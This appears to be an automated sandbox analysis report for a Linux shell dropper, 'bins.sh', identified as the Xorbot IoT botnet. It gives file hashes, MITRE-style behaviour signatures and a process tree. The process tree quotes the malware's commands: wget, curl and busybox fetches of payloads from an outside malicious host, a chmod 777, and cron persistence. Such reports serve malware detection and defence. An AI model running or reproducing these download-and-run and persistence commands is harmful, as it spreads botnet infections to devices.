Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    21-02-2025 00:48

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f1646987343a60668d4b5b6a8261daf3

  • SHA1

    0d0e5d57b7a65644205c4d2deccb1b5c0b449cad

  • SHA256

    758212705619f4095ee19c6615fc0e047c935d53dbc8ded1063454a0f9145a67

  • SHA512

    5b2e4a195d7e3802dc787d76eeab47957d4e4d1a5b0aebac806218e55f3ef1bc63dbf197159f5d76d523d3deb0d655fc702eaf474ff85f9d505cb319005766e6

  • SSDEEP

    192:O7Mo7OOdCSxdqDDL/q3jvglcw2g8UOUOUpUAUsLvfalJ6e0vfalJKyUOUOUpUAUO:O7Mo7OOdCSxdqDDL/qhg9vfalJ6e0vfX

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1525
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1526
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1527
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1531
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1533
      • /bin/chmod
        chmod 777 AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
        2⤵
        • File and Directory Permissions Modification
        PID:1534
      • /usr/bin/crontab
        crontab -l
        2⤵
          PID:1538
        • /usr/bin/crontab
          crontab -
          2⤵
          • Creates/modifies Cron job
          PID:1540
        • /bin/rm
          rm AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
          2⤵
            PID:1542
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
            2⤵
            • System Network Configuration Discovery
            PID:1545

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S

          Filesize

          98KB

          MD5

          5141342d0df8699fa32a6b066a0c592e

          SHA1

          8157673225bd5182f16215e2aa823a25ca2d4fbc

          SHA256

          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

          SHA512

          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

        • /var/spool/cron/crontabs/tmp.H1K2iY

          Filesize

          210B

          MD5

          27ba6d71fcc89b937ee8fb3c0b7f6f95

          SHA1

          43c40c2ed9e42b1f1583b9b17a8ab613d52bf41d

          SHA256

          c921a1dd1b5237c4e0d7124038057fd5ec135448cf45ef805f049064ccc3994b

          SHA512

          059104b890456ad9a264a6d4a73798940df7c3b2b142d035d3bbf14a3df3d14bc7463649444e6353307bbb53035e28dffc7998c9911a63ecb4fd5527927014d4